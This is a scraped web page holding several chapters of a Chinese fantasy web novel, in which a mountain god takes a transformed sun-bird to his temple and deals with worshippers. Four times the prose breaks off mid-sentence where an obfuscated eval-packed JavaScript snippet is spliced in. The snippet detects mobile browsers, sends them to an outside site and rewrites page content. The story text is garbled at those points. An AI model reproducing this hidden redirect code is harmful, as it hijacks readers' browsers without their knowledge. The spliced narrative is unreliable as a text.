“哦。”“好吧!”关亭云和关居星双双立正。 训得不错啊!时妙原感慨了一下。 荣观真捏了捏眉心,无可奈何地对护法们说道:“你们听好了,我来这儿是为了办事,因为太急了就没提前说。现在事儿办完了,正好你们也来了,那就把周围收拾一下吧。旁边这些人该安顿的安顿,该送下山的送下山,该塞进火葬场的塞进火葬场,处理好了自己回家去,我们在蕴轮谷碰头。” “好嘞!”两护法欢快击掌,他们正准备冲进去清扫战场,又突然默契十足地同时刹在了半路:“咦,荣老爷,您手里拿的是什么?” 荣观真下意识把手收了回去:“这是……” “哇哇!是小鸡!”关居星率先尖叫了起来,“荣老爷!你捡着小鸡仔子了!” 关亭云立马凑了上来:“什么什么,有小鸡?让我看看让我看看!” “这不是鸡,是……普通的小鸟而已。”荣观真张开手掌,将一脸茫然的时妙原递到了护法们面前。 “哦哦哦!是小鸟!小鸟也很可爱呀!” 关亭云狞笑着张开食指,在时妙原身上跃跃欲试地比划了起来:“老爷老爷,我能摸摸它吗?我还是第一次见到这么小的宝宝鸟呢!哎哟,尾巴好长,哇塞!肚子好白!不得了不得了,原来是小喜鹊呀!” “我也要摸我也要摸!”关居星急得嗷嗷直叫,于是荣观真贴心地把手放低了些。他一摸到时妙原的羽毛就开始尖叫:“活的!活的鸟哎!亭云!你快来摸摸,它的肚子好软呀,就像霉豆腐一样!” “毛茸茸毛茸茸!好暖和一股小鸡儿!哎呀它好肥哦!小爪爪小爪爪!” “小心点,别给他摸坏了。”荣观真收回了手,“这鸟胆子有点小。” 胆小鸟悲愤交加。 如果不是场合不对,时妙原现在真恨不得一头撞死在树上。 岂有此理,真是岂有此理!他怎么也没想到,他堂堂太阳神鸟,创世大妖,扶桑树之子,物质界一霸,有朝一日被认成鸡就算了,竟然还沦落为了小孩子的玩物! 他在天上每天开灯关灯逗全世界玩儿的时候,这俩小兔崽子还不知道在哪飘着呢!他活到现在还从没受过这样的委屈,要放在以前他绝对会把他们啄得亲妈都认不出来! 不过时妙原生气归生气,至少还保持了基本的理智。对方毕竟是荣观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他话音刚落,散落一地的残骸便奇迹般浮起,依次回到了该去的位置。不消半分钟时间,屋内的活人就都得到了安置,至于死人……张鸣恩被移到了外面的草坪上,关居星贴心地给他脑袋上套了只塑料袋,这样一来,他就不至于脏了过路人的眼睛。 关居星拍拍手,兴高采烈地回到了队伍中间:“好了!我都收拾完了!咱们走吧,快快快,我等不及要回去玩鸟了!” 几位神仙牵着白马有说有笑地走了,直到被带着走出了好几百米,时妙原也依旧没能回过神来。 不是……这是什么发展? 他们就这么决定了? 就这么把他带走了? 有没有人问过他的意见? 就没有一个人——就没有一个人愿意来尊重一下他的鸟生自由吗叽?! “哎,荣老爷,它好像在发抖诶。”关亭云眼尖地发现了小喜鹊的异样,“它的胆子真的好小哦。” “这个啊,它可能是刚离了娘,心里还有些紧张吧。” 荣观真轻轻抚摸着时妙原的翅膀,他极尽温柔之能事地安慰他道:“别担心,小可怜,我们马上就带你去蕴轮谷。那里有我的行宫,我们可以一起开开心心地生活。以后我在哪里,哪里就是你的家,亭云和居星会照顾好你的,有我在身边,你什么都可以不用担心。” 时妙原抖得更厉害了。 没事的。 没事的…… 不会有事的,不会有事的! 他强压下内心的恐惧,在心里暗暗地给自己打气道:不……不就是去蕴轮谷吗?不就是和荣观真朝夕相处吗,就算是龙潭虎穴,去闯一遭又如何! 大不了他就跑,跑不了他两眼一闭死了拉倒!更何况这俩小孩这么喜欢他,荣观真就算再怎么心理扭曲也是不会伤小孩子的心的!只要能和这两个小护法搞好关系,他他他,就算是天塌下来给空相山砸了个窟窿,他时妙原也是绝对不会发生任何意外的! 绝对! 两小时后,时妙原的惨叫响彻了整座蕴轮谷。 13. 五蕴炽盛(三) 清晨的山林中,传来了一阵蝉鸣。 蕴轮谷中古树参天,环山高耸。如明镜般的巨湖中坐落着一座小岛,在岛上,无数黄姜花正随晨风轻轻地摇摆。 早上六点,大涣寺中方才燃起第一缕敬香,一阵凄厉至极的嚎叫便将这里的宁静搅了个粉碎。 “啊啊啊啊啊啊啊!!!” 扑通! 有什么东西掉入湖中,激起了一片铺天盖地的水花。鱼儿们四散奔逃,湖面泛起阵阵涟漪,几秒钟之后,时妙原怒不可遏地从水里钻了出来。 “荣观真!你为什么要突然把我扔下来啊!”他挥拳大吼道,“我是鸟不是石头,你这样搞突然袭击,就算是神仙来了也会被摔死的!!!” 时妙原真的快崩溃了。 两小时前,荣观真不顾他的意愿,强行将他揣进口袋带到了深山之中。 一路上,他战战兢兢、如履薄冰,不仅要时刻注意回应荣观真冷不丁的抚摸,还一直疲于应付小护法们心血来潮的戳弄。快要到地方的时候他终于精力告竭,再加上荣观真身上又实在暖和,他一个没坚持住,就这么在口袋里昏睡了过去。 结果他还在做往稻草堆里打滚的美梦,就猝不及防地被荣观真掏出来扔进了湖里。时妙原被丢下去的时候还是喜鹊,再浮出水面时就已经变回了人。他整个人惊恐无比,浑身湿湿嗒嗒,衣服是一件没穿,至于精神状态么,当然也是一触即发。 幸好湖边水浅,他才不至于真的当场淹死。 “是我听错了吗?”荣观真的声音从断崖上悠悠飘了下来,“你刚才叫我什么?” “荣……荣老爷~!” 时妙原的嚣张气焰瞬间烟消云散,他捂着要害处从水中站起,尴尬而又不失讨好地冲荣观真撒娇道:“哈哈哈,荣老爷,我叫的是荣老爷啦!那什么,我没有别的意思,我是想说,您干嘛对人家这么粗鲁呀,搞得我都有点猝不及防了,嘿嘿哈哈嘿……” 哒哒哒哒哒!是关亭云跑到了崖边。他伸头往湖面一看,吓得连眼珠子都快掉了下来:“我去!怎么会变身啊!!!” “什么什么?居然是鸟妖吗?!”关居星也凑了过来,下一秒,他像树袋熊似地蹿到了关亭云身上:“哇!亭云你看!好白的屁股!” “你小子往哪瞅呢?”时妙原急忙蹲了下去,“你你你,你不许看!你把眼睛给我闭上!” “我天,一想到他其实能变成人,我就觉得有点不太舒服了。”关亭云冷汗涔涔地说,“好端端的当鸟不行吗,他为什么非得变回来啊?” 关居星眉头紧锁道:“他洗澡了吗?他几天换一次衣服?我们刚都摸哪儿了来着?他身上不会有跳蚤吧?看着是挺干净的,但还是感觉好奇怪哦……咦呃。” “不是,你们以为我是聋了啊还是怎么着?!”时妙原简直不敢相信自己的耳朵,“你俩摸的时候也没问过我意见啊!!!” “哎呀别提了别提了,以后我不摸了总行了吧!” “再不摸了,下次再也不摸了!等回去我要洗十遍手!” “那我洗二十遍!” “你们……!”时妙原正咬牙切齿,荣观真慢悠悠踱到岸边,凭空变出一套黑色的练功服扔到了他脸上。 “把自己弄干,穿上衣服再出来。” 然后,他头也不回地喊道:“亭云,居星!你俩先去寺里候着吧!” “得嘞!” 两小神一溜烟跑没了影,时妙原哭丧着脸爬到岸上,他先是给自己施了个干燥法术,然后当着荣观真的面穿起了衣服。 这位爷现在看不见东西,他当然不担心自己有走光的风险。白马在稍远些的地方吃草,那小叛徒脸皮薄,连看都不敢往他们这儿多看一眼。 不一会儿,荣观真歪着脑袋问:“穿好了吗?” 时妙原冲他竖了根中指:“穿好了荣老爷,这衣服正合适,简直是为我量身定做的真的舒服得要命我好喜欢爱死您了亲亲啵啵么么么么么么哒。” 荣观真的嘴角抽动了一下,但很快他又恢复了那副皮笑肉不笑的表情:“好了那就跟我来吧,我来带你看看你的新家。” 他说这话时,特意在“新家”这两个字上加强了重音。 时妙原心如死灰地跟了上去。 他没走出几步,就差点撞到了荣观真身上。 “老、老爷?咋了您这是,怎么突然不走啦?” “帮我拿着。” 荣观真往他手里塞了一支还挂着露珠的黄姜花。时妙原再抬头时,就见他已经快走到了湖心岛上。 “哎,我的老爷哎——”时妙原揣着花就追,“慢点!慢点!你等等我啊——!” 蕴轮谷,大涣寺。 这里是荣观真的道场,也是空相山神行宫的所在地。 蕴轮谷中有大湖,名为无果湖,无果湖四面环山,有六座古刹依次罗列其上。其中一至五座分供观音大士、地藏王菩萨及空相山各峰土地神,六座大涣寺则位于湖心的小岛中央。 大涣寺入门处香炉高耸,神道两旁各有对称十八罗汉像怒目迎门。先出护法殿,再往山神宫,一路上共有天然瀑布十座,汉白玉高阶数层,所有来这儿的人,不论身份高低,都得亲自爬一段路才能上去。 荣观真领着时妙原混进了祈福的游客之中,在法术加持之下,普通人并感知不到他们存在。他走得很快,时妙原跟在后头,得时不时小跑起来才能跟上他的步伐。 他一边跑,一边气喘吁吁地喊道:“荣老爷,荣老爷!您慢点儿,咱们这是是要去哪啊?” “四处看看。”荣观真头也不回地说。 时妙原当下了然:荣观真这是来听愿来了。 今天是农历五月初七,空相山山神正儿八经的生身之日。自千年前接替山神之位以来,荣观真几乎每年这个时候都会来寺内亲自点福听愿。 外界有传言说,只要是到了大涣寺,不论目的为何,但凡开口求了,荣观真都一定会给出回应。他能看背后姻缘,观前世果报,有诚心正意之人来拜,几乎当场就能实现心愿。若是心术不正惹了他生气,那也会立刻遭到报应。 荣观真的追随者众,他法力无边,对待信徒的手段却有些极端。爱他的恨不能以身侍奉,至于不喜欢他的……当然也不少就是了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142655|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大涣寺内人头攒动,这里不仅香客众多,卖各类小工艺的摊贩也不在少数。时妙原随荣观真走上前往主殿的台阶时,就见到了一位浑身挂满玛瑙的中年男子。但凡是从他身边经过的人,无一例外都会被拦住推销: “看看宝石不?空相山纯天然原产!带回去能保全家平安,这可是荣老爷亲自开过光的!” 时妙原还在打量那玛瑙的成色,就听见荣观真淡定地说:“我没开过。” “哎哎哎,看看我的,看看我的!” 玛瑙商身旁还有另一位小贩,他挤到游客中间,热络地展示起了自己手中的锦囊:“瞧瞧这个!山神护身锦囊!里面装有朱砂曜石,甘露圣珠,还有荣老爷悟道时点化的莲叶根茎!这可是难得的好东西啊,一个只要八十,随身佩戴就可保万事无忧!” 有游客好奇地问:“老板,你说这万事无忧,指的都是哪些事儿啊?” “哎哟,这位小兄弟,你是第一次来对吧?我跟你说啊,不对,不是我说的,是荣老爷说的!他说只要用了这护身符,带满九九八十一天,然后择吉日回大涣寺投炉焚烧,就能驱邪提运、加强良缘、庇护后人、安胎养神!” 荣观真无奈地叹了口气:“我没说过。” “但这锦囊的作用还远不止于此!” 见游客们有所迟疑,那小贩又接着自夸道:“荣老爷佑生子,保香火,戴了这护身符,您家后人啊从怀上到生出来都绝对稳稳当当,至于以后,那肯定是孩子上哈佛,孙子上耶鲁!女儿当院士,儿子成戏霸!” 众人纷纷啧啧称奇:“那照这么讲,荣老爷其实和送子观音是一个意思了?” “啊?这……这是自然!你们不知道吗?荣观真荣观真,这个观字当然就是唔唔唔唔??!!!” 那小贩没能接着说下去,一片不知被谁落下的手帕忽然飞起,像一块钢板似的猛地捂住了他的嘴巴。 四下劲风忽起,众香客皆为骇然。荣观真愤愤收拳,他脑门上青筋不断:“我不是!我送不了!再敢说一句瞎话,我就把你的嘴撕烂!” “荣老爷显灵了!荣老爷显灵了啊啊啊!”那人吐掉手帕,逃也似地奔下了台阶。 “噗嗤。”时妙原没忍住笑出了声。 “你笑什么?”荣观真立马调转矛头,“你再笑小心我把你嘴也堵上!” 时妙原赶忙摆手道:“我没笑我没笑!荣老爷行行好别割我舌头!我那什么,我只是在想……哎呀,您的这个功能还真是丰富啊!” “丰富?” “您瞧,您这不是还兼任文昌星君呢么?”时妙原指着主殿外一排叽叽喳喳的小孩说道。 荣观真虽看不见那头的情况,但零碎的许愿声飘到他耳边,只消一两个字,就让他的脸色阴沉了起来。 主殿外祈福者众,有好些学生模样的游客正和家长们一起往炉子里投香。炉边烟雾缭绕,只见其中烧得最多的一个学生扑通往蒲团上一跪,双手合十朝天大喊道: “荣老爷好!荣老爷吉祥!荣老爷英明神武天下第一,孩子马上就要上考场了,求荣老爷大显神通,让我和我女朋友一起考上重点大学吧!” 14. 五蕴炽盛(四) “想都不要想!” 一听见这个愿望,荣观真立刻翻了个重重的白眼:“天天搁家打游戏还想无痛升学,你上考场能把答题卡涂对就不错了!哦,你女朋友倒是能考上985,到时候分数出来不许对人家死缠烂打。” “荣老爷!” 又是一声真切的呼唤,有位年纪更小点的学生整个趴在了地上:“老爷啊!我这人没别的心愿,我就想求您让我这次数学考试及格!” 荣观真不耐烦地“啧”了一声:“都上高中的人了,一元二次方程都解不明白,你是指望我直接替你按计算器还是怎么着?回去好好背公式去!” “求求荣老爷让我儿子分到重点中学!” 说这话的是位学生家长,她忘了在门口取香,便干脆往炉子里投了好多百元大钞。“我的要求不高,到市一中就行,如果可以的话我希望能上重点班,要是能找到特级教师当班主任就更好了!” “小升初摇号去求教育局,不要求我!”荣观真忍无可忍地把她塞的钞票吹飞到了地上。 “荣老爷荣老爷,我希望我的小猫能按时吃饭,不要便秘,多多喝水,然后再活至少二十……不对,五十年,求您了!”另一个小姑娘三跪九叩道。 不是,为什么小猫喝水也得找荣观真保佑啊?时妙原差点没发出惊天爆笑,他本以为荣观真会大发雷霆,却见到他轻轻一抬食指,那女孩儿的手机立刻嗡嗡地震动了起来。 下一秒,她惊喜地大叫道:“哇!芬达刚才竟然上厕所了!” “我去,这么灵的吗?!”其余人见状立马疯狂磕头如捣蒜,“荣老爷在吗?您正听着呢对么?您能不能把我导师送走啊,哦如果可以的话连带我们院长一起好吗?快让他俩跳槽吧,我不想再见到他们了!” “信女此生别无所求,只希望培养皿里的细菌不要再说死就死了!” “让我通过毕业答辩吧!” “求心软审稿人!” “接offer接offer,荣老爷敢不敢让我年薪过一百万?” “我男朋友脚踏五条船,您能没收他的作案工具吗?” “全都给我闭嘴!!!” 荣观真大手一挥,把这些稀奇古怪的愿望一一打发了回去:“一天天的论文也不读,班也不好好上,三天学不来半小时习的人还想着发Nature?我这儿是大涣寺,不是浙里办,老子是山神,做不来绝育手术!!!” “求荣老爷让我们一家渡过难关吧!” 荣观真话音未落,又有位中年男人哭天喊地求道:“我女儿生了重病,老婆也过劳昏迷过去了,项目上的款要再收不回来,我可就真的要走投无路了!” “嘶……这个倒是可以。”荣观真自言自语道,“这人品格不错,平时比较顾家,偶尔还会喂一喂流浪动物。嗯,没什么不良嗜好……他女儿的病好像确实很棘手。让他发一笔两千万的小财吧,但要是敢拿了钱自己跑路,以后必须百倍,不,万倍奉还。” “珍珍!珍珍!” 珍珍是谁?荣观真的爱称吗?!时妙原左顾右盼,只见一青年男子捧着个断成了两截的同心锁哭成了泪人:“求荣老爷让我和珍珍复合!她是我此生挚爱,我这辈子不能没有她,她要是嫁了别人,那我也不想活了!” 这男的哭得肝肠寸断,荣观真没听两句,就直接抬手给了他一巴掌。 “办事儿不戴套分手拉账单还到处给女朋友造谣的也敢来装深情?给我滚!”他恶狠狠地说。 “哎哟!是谁打我!” 那深情仔在地上滚了好几圈,手里的同心锁也彻底摔碎掉了。 时妙原大受震撼。 手段了得,真真是手段了得! 他不是不知道荣观真法力无边,还喜欢给信徒实现心愿,但他现在的业务之纯熟,效率之高超,手段之粗暴,目标之明确,方法之狠辣……还是令时妙原整个鸟看得目瞪口呆。 他还记得很久以前,荣观真刚当上山神那会儿因为脾气爆和信徒之间沟通不畅惹出了好些事端,也正因如此,一直到现在荣观真在民间的名声都还是毁誉参半。可没想到啊没想到……没想到只是九年不见,这小子不仅性格更加扭曲了,抽起人来更不留情面了,当神也是越来越得心应手了啊! 时妙原在这边感慨着,荣观真那头手也没停。只见他一手点化众生,一手拳打脚踢,既能随时分心捞起要摔跤的小孩儿,还不忘一级一级地往台阶上爬。等到他们快爬到主殿前时,山下人那些五花八门的愿望竟然都被处理得差不多了。心愿达成了的人们捧着手机兴高采烈地走出了寺门,而那些惨遭荣观真拒绝的信徒,心里嘴里自然也没嘀咕什么好话。 当然,荣观真对此并不在乎。 山神殿。 这是大涣寺内位置最高,也最引人瞩目的建筑。 此殿最初修建时仅为一间小平房,是后世不断加盖、不断修葺,才有了如今气势恢宏的模样。 一走进主殿,时妙原的眼睛便亮了起来。 多年不来,这神殿是修得越发气派了。 纵眼望去,山神殿内一副金光璀璨之景。供台上果品琳琅满目,黄姜花是神座前四季不断的常客。信众们自发带来了香水百合和甘菊茉莉等清静吉祥的鲜花,两盆有半人高的紫色蝴蝶兰将一尊巨大的刷金神像簇拥在了中间。 这像自然便是荣观真。 只见他右手执三度厄,左手呈退魔印摊开朝外,端的是器宇轩昂,意气风发。这像约有七层楼高,它雕得极为还原,不仅佩剑样式几乎一致,就连掌心的莲纹雕得有九成相似。神像脚下铺金丝绣莲蒲团九枚,信众们跪在地上一字排开,就算把头仰断了去,也很难见全他的真容。 时妙原稍后退两步,也仅能勉强读尽两旁蓝底金字的楹联。只见上联曰:燕然超然,眼耳口鼻无不杳然。下联则是:心观华观,身灵魂灵俱清净观。横匾题文:闻音光世。 山神殿里不仅供着荣观真,当然还有他的两位护法。时妙原仔细一看:好家伙!左亭云,右居星,他们各执鲜花宝剑,头顶璎珞宝冠,脚踩琉璃金珠,这俩死孩子在他面前皮得能上树,到了正经场合竟威风得像两头小狮子。 时妙原再作打量,他发现殿里还摆了许多各式各样的小型神像,它们的质地工艺虽不相同,但从姿态上看应该也全都是荣观真。只是这些神像的脸上都蒙着红布,一看就是信徒为请正神回家,先造了像在这儿沾受香火。 “呸。” 荣观真突然咂了咂嘴巴。 “你怎么了?吃坏什么东西了吗?”时妙原关切地问。 “感觉嘴里味道不太对。”荣观真的表情十分复杂,“好像有人在乱供。” 时妙原眼尖地在供桌角落看见了三根还冒着热气的孜然味淀粉肠。 淀粉肠下跪着个男人,他双手合十,表情虔诚,匍匐在像前轻念道:“请荣老爷为我一家作主,收了害我父母兄长的恶神。” 来告状的?时妙原感到了些许迷茫:先不论这小子是怎么想的要用淀粉肠来供荣观真,都二十一世纪了,居然还会有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142656|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢为祸人间的……恶神? 恶神。这个久违的名词令他产生了一阵恍惚。 那男人还要再求,殿外突然冲进来一名黑衣黑裙的女子,风风火火地将他强行拉了起来。 她怒骂道:“好啊,你原来真的在这里!我说你跑哪去了,居然又过来拜这没用的破神仙了!” “姐!”那男人剧烈挣扎了起来,“你,你别乱说!你快道歉……你刚才说的这是什么话啊!别给老爷听着了!徐知甄!!” “听到了就听到了,他难道还能弄死我不成?!” 徐知甄一听这话,反而更像吃了炮仗似的嚷嚷道:“徐知元,如果你有问题可以去报警,去用法律手段解决问题,为什么非得跑到这深山老林里来磕头?这种硬造出来吃香火的伪仙你也敢信?你忘了大哥当时是怎么出事的了吗!” 徐知元吓得脸都白了:“你可别说了!我本来就是来求荣老爷管事儿的,你这么讲话,给他听见了可有你好受的!” “哦,这时候有我好受了,那他遭难的时候这个山神老爷怎么不出来管管呢!”徐知甄直接朝神像呸了一口,“好人受苦不看,恶人倒是潇洒,你明知道该怪的是谁,那根本就不是什么妖魔鬼怪的事情!弟弟,求神拜佛要是有用,这大涣寺的门都不会往我们这边开的!还山神呢,还观真呢,这山里发生了那么多见不得人是事情他连看都不看一眼!他要是真有本事,就让他现在下来给我一刀好了!” 众信徒纷纷哗然,徐知元吓得两腿抖如筛糠,有人想上去拉住徐知甄,但她眼睛一瞪,就把他们都吓退了出去。 殿内一片混乱,荣观真不为所动。可他虽然淡定,神龛上那两尊护法像却突然眨了眨眼睛。 下一秒,关亭云和关居星双双出现在了徐知甄背后。 他们面若冰霜,双目圆睁,面呈恐怖怒象,全身青似恶鬼,全不似方才那天真烂漫的模样。徐秋甄还在怒斥弟弟,亭云居星举起树枝就要往下砍——那哪是树枝,分明是两把寒气逼人的弯刀! “回来。”荣观真咳嗽了一声。 刀尖停在了离徐秋甄的后颈只有半厘米的地方。 “让我弄死这个人吧。”关亭云冷冷地说,“就这一次。” “不准。” “求您了。” “敢动一下我就先抽你。” “老爷!” 关亭云从牙缝里挤出了阵阵低吼,这声音听着,竟真似是野兽在警告来敌。 殿内气氛正焦灼之时,屋外冷不丁传来了一声长鸣。 嘟—————— 忽地一声长笛,令大涣寺内所有信众——无论是地上跪的,炉前拜的,正吵闹的,正哀求的,正怒骂的,还是正不作声的,全都不约而同地止住了动作。 到时候了。 时妙原循声望向了窗外。 风动了。飞鸟开始盘旋,山上的小松鼠也攀上了高枝。 黄姜花丛簌簌起舞,无果湖面亦泛起了阵阵不自然的涟漪。 角笛间鸣间息,袅袅的高香之中,三名身着紫金袖袍的高功悠悠然走上高台,步入了山神殿前的广场之中。 在他们身后,信众们如潮水般涌了上来。人群沉默而又雀跃,他们都已为这一年一度的时刻做足了等待。 各礼器法物纷纷就位,最后被推上来的是一面有五人宽的皮面堂鼓。辰时三刻已至,主祭庄重地摊开了一支银绢丝制的长卷。力士们先是击鼓十次,又再鸣了两轮号角,一阵奏鸣之后,今年的空相山神生身祀正式拉开了序幕。 15. 五蕴炽盛(五) “顶礼慈悲之尊,俯观种种变化。” 当。 “燔供空相之中,承光闻乐赐音。” 当。 “我观山神观真,威严神法无边。 灭鬼平邪除恶魃,绝除空亡病魔碍。 降甘授露平澍雨,安风静波定万山。 宽量广博近天地,增福饶寿助运祉。开蒙点资升天智,具察三途献法华。 山神观真及护持,愿为众生为后生。燕然超然杳杳然,心观华观清净观。” “此空相山蕴轮谷湖心大涣寺——恭请山神!” 人群中,主殿外,丝竹齐鸣。 香烟袅袅盘旋,高功吟诵不停。其中为首的一位紫袍法师生得一表人才,他每敲响一次磬音,信众们便都要行拱手礼深深鞠下躬去。 只听他拖长了声音唤道:“请——山——神——” 四下鸦雀无声。 “请……请山神——!” 鸟儿落上枝头,就连它们也对这场表演产生了好奇。 人群窃窃私语,他的后背开始冒汗。 咚!咚!咚! 他重重跪下,连磕三次响头,在众人目光中再度大喊道: “恭!请!空!相!山!神!” 时妙原呸地往垃圾桶里吐出了一枚瓜子壳。 “那谁啊?扯嗓子喊你老半天了。”他用胳膊肘拐了荣观真一下,“老爷啊,你怎么都不带搭理他的呢?” 巳时整,山神生身祀已近尾声。 时妙原和荣观真远远地站在人群外,山间风大,时妙原被吹得像根天真烂漫的鸡毛掸子。他一边捋头发一边伸长了脑袋看热闹,荣观真则始终倚在围栏边闭目养神。 原定的流程早已走完,台上那法师却依旧唱个不停。诸信众大多仍虔诚礼拜,少数不安分的,已悄声议论了起来。 “今年也没显灵。” “就连白马也没来。” “连续好几次了!” “是不是从七八年前起就这样了?” “是啊,怎么回事呢?” “荣老爷该不会……” “可别在这乱说话!” 荣观真缓缓睁眼,他的视线并无焦点,但还是勉勉强强地落上了枝头,落到了那好奇的鸟儿身边。 “毕惟尚。”他说。 “啥?” “你不是想知道上面那人谁吗?他的名字叫毕惟尚。”荣观真淡淡地说,“他据说是我的主祭,据说是我座下童子转世,据说从小就能和我直接对话,据说总能精准传达我的意图。据说只要有他在我就不会降大雨冰雹和雷暴,据说他自带空相山的祝福,而且据说很有可能会成为下一任山神。” 时妙原问:“怎么都是据说?” 荣观真耸肩道:“因为我不认识他。” “不认识他你怎么不去解释啊?”时妙原惊得连吐了三枚瓜子壳,“你就放任他借你的名头招摇撞骗?” “你在教我做事?把垃圾捡起来!” “哪有啦荣老爷你别老是误会人家搞得人家心里痛痛的呜呜呜我捡我捡你别动手!” “你少跟我装!我只是觉得无所谓而已。”荣观真烦躁地摆了摆手,他嘴里的淀粉肠味儿还没散掉,现在整个人都有点不太得劲。 “这人从很久以前就开始做生身祀法事了,到现在几乎每年五月初七都会来唱一轮大戏。我起初没时间搭理他,后来亭云想托梦警告他我也觉得没那个必要。反正他也没做啥出格的事儿,让他每年过来跳一跳也挺热闹的不是。” “您这是纯把人当杂耍的来了。”时妙原看了毕惟尚一眼,那老小子是又唱又扭,就差没直接演胸口碎大石了。他摇头叹道:“那也别就这么算了嘛,要是他干了啥坏事儿,这不得都安到您头上么?” “我头上的黑锅那么多,也不缺他这一两件的了。”荣观真说完便往台阶下走,“走吧,一年年喊来喊去的也没啥新词儿,夸得我都腻了。没劲。” 议论声越来越大,毕思惟的祷词也越发急不可耐。时妙原好奇心重,山神殿的匾额将要消失在地平线下时他回头望去,冷不丁在人群中看到了一个小小的影子。 时妙原猛一激灵。 那是小时候的荣观真。 但下一秒,他就立刻消失不见了。 “怎么还不过来?”荣观真远远地喊道,“非得我八抬大轿来请你是吗?” “来了来了!马上来!” 时妙原三步并作两步蹦到了荣观真身边,他按捺下如擂鼓的心跳问道:“那什么,荣老爷,咱等下去哪呀?你要带我回家不?咱们什么时候吃饭呀!我的肚子有一点点饿饿了!” “等下先去我的行宫。”荣观真说,“就是香界宫,我平时住的地方。” 香界宫?时妙原一拍大腿:这个他熟啊!怎么说他也是那儿的第一批住户呢。香界宫有几间客房几座苗圃他都一清二楚,当然,这主要是因为他和荣观真曾经在那儿的几乎每一个角落…… 停,打住!时妙原急忙驱走脑海中某些不堪入目的记忆,带着一分真乖巧两分假好奇三分老子还是得想办法跑四分卧槽我俩当年那么不知节制的吗和五六七八九十分荣老爷等等我!紧紧地跟在了荣观真身后。 荣观真大步流星跨下台阶,在走过一间平房时突然折返了回来。他指着那屋子问时妙原:“刚刚是不是经过了法物流通处?” “还真是。”时妙原回头看了一眼,“咋了,你要有东西要买吗?” “我不买,但我觉得可以带你进去见见世面。” 荣观真背手而入。 法物流通处里没有游客,只有一男一女两位店员在忙着清点零钱,店内的装修简单朴素,最豪华的就是摆在正中间的小型山神供台了。荣观真一进门就跟大爷似的靠在神龛边吸香火,时妙原扒在柜台边上一一欣赏过去,在途径首饰区时被一条红色的手串迷住了眼睛。 “好漂亮啊。”他小声感慨道。 “你说哪个?”荣观真走了过来。他眼睛看不见,所以就只能起到一个造型上的作用。 “就这个,这个玛瑙手串!”时妙原已经完全被迷住了,他不断感慨道:“好亮,好闪,布灵布灵的……让我看看是什么材质……南红玛瑙镶镀金!还配了俩黑色的璎珞,真是有品!” 荣观真眨了眨眼睛,他似乎是在想象这几样东西搭配在一起的样子。过半晌后他问:“这个要多少钱?” “价格是……我靠,八百八十八!”时妙原震撼得瞪大了鸟眼,荣观真也大惊失色:“这么贵?!” “对啊!这也没真金啊,怎么就要小两千了?” 时妙原下意识就想掏钱包,发现自己身无分文。想点石成金,又想起到荣观真就在旁边。两条路全被堵死,他一下子急得团团转了起来:“哎哟,我身上没带够钱!啧,不行这个太贵了,我没钱,我不买了!我……好亮啊,好漂亮哦……” 他嘴上说不买了,人还是紧紧贴在柜台上,眼睛和屁股都不带挪一下的。 这也不能怪他,毕竟金乌也是乌鸦,乌鸦对会发光的东西没有任何抵抗能力。这和吃饭睡觉垒窝犯贱一样都是时妙原的天性,要他违背本性,就和不准小鸡吃稻米一样残忍! “呜……好喜欢啊……好想要哦……为什么要让我在这种时候遇见它啊!”他唉声叹气道,“宝宝……我的宝宝……你要乖乖的哦,你等等我,等妈妈发达了就一定把你赎回来……” 时妙原扒着玻璃作泫然欲泣状,若他现在还是鸟身,这模样给不知道的人看见了,恐怕真会把他当成下的蛋被人掏走了在呼唤幼崽的悲伤老母亲。 荣观真无可奈何地打了个响指。 下一秒,时妙原和柜员们一齐发出了惊呼。 “这是!” 时妙原惊讶,是因为那串让他魂牵梦萦的南红玛瑙手串突然出现在了他中。而店员们失声尖叫则是因为,他们只是一个没注意,刚清点好的收银机钱箱里就凭空多了一沓整整齐齐的纸币。 “好奇怪,刚才还没有的呀?”男店员左顾右盼,想找出钱的来源。而时妙原则捧着手串,呆呆地问道:“这,你这是……这是给我的吗?” “算是借你的。”荣观真抱着胳膊说,“借你戴两天,玩腻了记得还我。” “您这……” “不肯要就放回去。” “要的!要的!”时妙原生怕他变卦,赶紧把他的心肝宝贝往手上一套,兴奋地在荣观真眼前展示了起来:“好看不?亮得很!哎哟!还会反光,不得了不得了,我的眼睛都快被闪瞎了!你快看啊荣老爷,你看看!看看!” 荣观真的嘴角抽搐了两下:“你觉得我看得见吗?” “哦哦不好意思啊哥我忘了你已经瞎了嘿嘿你说这事儿闹的。”时妙原干笑两声,缩了回去。 “没事的,我不介意。”荣观真的语气突然变得十分温柔,“倒是你,怎么样,喜欢这个吗?” 时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 